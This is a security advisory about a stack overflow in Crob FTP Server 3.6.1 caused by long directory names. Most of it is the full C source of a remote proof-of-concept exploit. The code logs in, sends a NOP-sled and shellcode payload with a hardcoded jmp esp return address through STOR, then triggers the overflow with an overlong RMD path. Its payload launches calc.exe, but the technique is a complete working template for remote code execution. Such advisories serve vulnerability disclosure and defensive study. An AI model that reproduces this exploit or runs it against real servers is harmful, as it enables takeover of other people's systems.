Summary
Crob FTP Server is "a powerful and easy-to-use FTP server".

CrobFTP is vulnerable to stack overflow when it tries to handle long directories names, the following exploit will cause the execution of the calc.exe program on a vulnerable system.

Credit:
The information has been provided by Leon Juranic.
The original article can be found at: http://security.lss.hr/index.php?page=exp

Details
Vulnerable Systems:
* Crob FTP Server version 3.6.1 (other versions suspected)

/*
* CrobFTP remote stack overflow PoC
* ---------------------------------
* Tested on Crob FTP Server 3.6.1, Windows XP
*
* Coded by Leon Juranic <ljuranic@lss.hr>
* LSS Security / http://security.lss.hr
*
*/

#include <stdio.h>
#include <windows.h>
#include <time.h>

#pragma comment (lib,"ws2_32")

char *fzz_recv (int sock)
{
fd_set fds;
struct timeval tv;
static char buf[10000];
char *ptr=buf;
int n;
tv.tv_sec = 5;
tv.tv_usec = 0;

FD_ZERO(&fds);
FD_SET(sock,&fds);
if (select(NULL,&fds,NULL,NULL,&tv) != 0) {
if (FD_ISSET (sock,&fds)) n=recv (sock,ptr,sizeof(buf),0);
buf[n-1] = '\0';
printf ("RECV: %s\n",buf);
return buf;
}
else {
return NULL;
}

}

int login (int sock, char *user, char *pass)
{
char buf[1024], *bla;
bla=fzz_recv(sock);
printf ("recv: %s\n",bla);
sprintf (buf,"USER %s\r\n",user);
send (sock,buf,strlen(buf),0);
bla=fzz_recv(sock);
printf ("recv: %s\n",bla);
sprintf (buf,"PASS %s\r\n",pass);
send (sock,buf,strlen(buf),0);
bla=fzz_recv(sock);
printf ("recv: %s\n",bla);
if (strcmp("230",bla) != NULL)
return 0;
else return -1;
return 0;
}

void lame_sploit (char *pack, char *user, char *pass)
{
WORD wVersionRequested;
WSADATA wsaData;
int sock, err,x;
struct sockaddr_in sin;
char buf[2000],tmp[1000];

char *shell= // 5 min. XP SP1 shellcode
"\x33\xc0" // xor eax,eax
"\x50" // push eax (\0)
"\x68\x2e\x65\x78\x65" // push '.exe'
"\x68\x63\x61\x6c\x63" // push 'calc'
"\x54" // push esp
"\xba\x44\x80\xc2\x77" // mov edx, 77c28044
"\xff\xd2"; // call edx (system)

wVersionRequested = MAKEWORD( 2, 2 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 ) {
printf ("ERROR: Sorry, cannot create socket!!!\n");
ExitProcess(-1);
}

sock=socket(AF_INET,SOCK_STREAM,0);

sin.sin_family=AF_INET;
sin.sin_addr.s_addr = inet_addr(pack);
sin.sin_port = htons(21);

if (connect(sock,(struct sockaddr*)&sin, sizeof(struct sockaddr)) == -1) {
printf ("CONNECT :(((\n");
ExitProcess(-1);
}

if (login(sock,user,pass) == -1)
{
printf ("ERROR: Cannot login to FTP server, sorry!!!\n");
exit(-1);
}

memset(tmp,0,sizeof(tmp));
memset (tmp,0x90,180);

memcpy (&tmp[80],shell,strlen(shell));
*(long*)&tmp[158] = 0x77da52b8; // EIP -> ret into 'jmp esp'
*(long*)&tmp[166] = 0x74ec8390; // sub esp,0x74
*(long*)&tmp[170] = 0x9090e4ff; // jmp esp

_snprintf (buf,sizeof(buf),"STOR %s\r\n", tmp);

printf ("DEBUG: %.30s %d\n",buf,strlen(buf));
send (sock,buf,strlen(buf),0);
printf ("%s\n",fzz_recv(sock));

strcpy(buf,"RMD ");
for (x=0;x<276;x++)
strcat (buf,".../");
strcat(buf,"\r\n");

printf ("Sending exploit strings\n");
send (sock,buf,strlen(buf),0);
printf ("recv: %s\n",fzz_recv(sock));

}

main (int argc, char **argv)
{
printf ("CrobFTP Stack overflow PoC \n"
"Coded by Leon Juranic <ljuranic@lss.hr>\n"
"LSS Security / http://security.lss.hr/\n");

if (argc < 4 ) {
printf ("\nusage: %s <target_IP> <user> <pass>\n",argv[0]);
exit(-1);
}
lame_sploit(argv[1],argv[2],argv[3]);